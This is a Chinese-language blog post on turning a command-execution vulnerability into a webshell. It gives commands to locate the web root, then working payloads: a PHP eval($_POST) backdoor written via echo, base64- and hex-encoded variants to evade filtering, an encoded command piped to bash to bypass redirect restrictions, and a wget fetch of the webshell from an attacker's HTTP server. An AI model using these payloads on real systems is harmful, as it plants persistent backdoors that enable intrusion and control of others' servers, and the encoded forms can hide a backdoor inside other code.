命令执行写webshell总结

简介: 前言当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作。

寻找web路径

写webshell当然要写在web路径,第一步要做的就是快速寻找web路径

1.文件查找法

一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索








linux:find / -name index.phpfind / -name index.*windows:for /r d:/ %i in (index.html) do @echo %ifor /r d:/ %i in (index.*) do @echo %i

2.源码查找法

也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找








linux:find / -name "*.*" | xargs grep "PHP installed properly"find /var/www/ -name "*.php" | xargs grep "doServerTest()"
windows:findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.htmlfindstr /s/i/n /d:C:\windows\ /c:"success" *.*

3.history等

通过linux历史命令查找web相关的服务启动命令




history | grep nginxhistory | grep tomcathistory | grep http

写入webshell

确认寻找到的路径有写入权限之后,就可以开始写webshell了

1.echo直接写入


echo '<?php eval($_POST[1]); ?>' > 1.php

直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽

2.base64写入

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php

使用base64是比较通用的方法,完美去除了webshell本身的特殊字符

3.绕过重定向符

echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh

重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行

其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式 http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/

4.远端下载webshell






远端服务器放置webshell,开启httppython -m http.server
目标机器执行wget http://xx.xx.xxx.xx:8000/xxx.php

可出网且有wget的情况下可采用此方式

5.hex写入

hex写入与base64写入相似,在 https://www.107000.com/T-Hex/

将webshell编码成hex,使用xxd命令还原

或在使用前将webshell使用xxd生成hex数据


echo '<?php eval($_POST[1]); ?>' |xxd -ps

然后命令注入执行

echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php



目录
相关文章
|
安全 Oracle 关系型数据库
WebLogic Server 账号密码密文解密小方法
WebLogic Server 账号密码密文解密小方法,具体操作看下文
1028 3
|
安全 Unix Linux
CentOS7 Sudo本地提权漏洞修复实践
CentOS7 Sudo本地提权漏洞修复实践
1598 0
CentOS7 Sudo本地提权漏洞修复实践
|
算法 Java 数据处理
Java中MD5加密算法的实现
Java中MD5加密算法的实现
|
缓存 Java
java: 警告: 源发行版 17 需要目标发行版 17,java17 无效的目标发行
java: 警告: 源发行版 17 需要目标发行版 17,java17 无效的目标发行
12065 59
|
监控 负载均衡 网络协议
OSPF在大型网络中的应用:高效路由与可扩展性
OSPF在大型网络中的应用:高效路由与可扩展性
846 1
|
安全 算法 Java
数据库信息/密码加盐加密 —— Java代码手写+集成两种方式,手把手教学!保证能用!
本文提供了在数据库中对密码等敏感信息进行加盐加密的详细教程,包括手写MD5加密算法和使用Spring Security的BCryptPasswordEncoder进行加密,并强调了使用BCryptPasswordEncoder时需要注意的Spring Security配置问题。
1147 0
数据库信息/密码加盐加密 —— Java代码手写+集成两种方式,手把手教学!保证能用!
|
SQL 安全 数据处理
Web 测试神器:HackBar 保姆级教程
Web 测试神器:HackBar 保姆级教程
|
网络协议 Shell 网络安全
Windows环境下安装nc工具
本文介绍了网络工具Netcat(nc)的下载、配置和基础使用。首先提供了nc的下载链接,建议在安装时避免中文路径并关闭杀毒软件。接着,展示了配置nc环境变量的步骤,包括在系统设置中进行相关操作。然后,通过开启两个命令行窗口进行简单的验证测试,如监听端口(nc -l -p9000)和建立连接(nc localhost 9000)。最后,提到了nc的多功能性,如端口监听、扫描、文件传输和远程shell,并列出了一些常用参数选项,例如 `-l` (监听模式) 和 `-p` (指定端口)。
5414 0
|
安全 网络安全 数据库
扫描神器:Nessus 保姆级教程(附步骤)
扫描神器:Nessus 保姆级教程(附破解步骤)
|
安全 生物认证 网络安全
信息打点-红蓝队自动化项目&资产侦察&武器库部署&企查产权&网络空间
信息打点-红蓝队自动化项目&资产侦察&武器库部署&企查产权&网络空间
457 0